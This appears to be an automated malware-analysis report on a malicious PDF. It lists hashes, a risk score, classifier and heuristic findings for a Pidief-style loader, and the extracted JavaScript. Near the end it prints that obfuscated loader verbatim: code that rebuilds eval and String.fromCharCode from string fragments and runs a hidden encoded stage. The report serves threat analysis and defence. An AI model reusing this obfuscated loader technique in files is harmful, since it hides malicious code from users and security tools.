Malicious PDF — malware analysis report

Static analysis result for SHA-256 f0a8cb98aa131eae…

MALICIOUS

PDF

47.8 KB Authoring application: substr First seen: 2026-05-09
MD5: d35e943857e03a0fa0fb0c90a83363ca SHA-1: 2f7b9c81a48efaa9f2112477b1fae9ffd06e0819 SHA-256: f0a8cb98aa131eae1742dbba155859e4603b69a3a1ddbeb1d887dfa60f675321
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload. The file's SHA256 hash is included as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBC98 447 bytes
SHA-256: 7b4ec88dd424607db6e92121511c764f022301425386f96b17300b83318a9c27
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
eek=e('ti'.concat(v[4],t));
q=eek[v](a.length-6,a.length+2);
sulqi=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=eek[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	dpznh = 1*(q[i]);
	i++;
	dpznh -= (-1)*(q[i]);
	s2 = s2.concat(sulqi(dpznh));
	i++;
}
e(s2);

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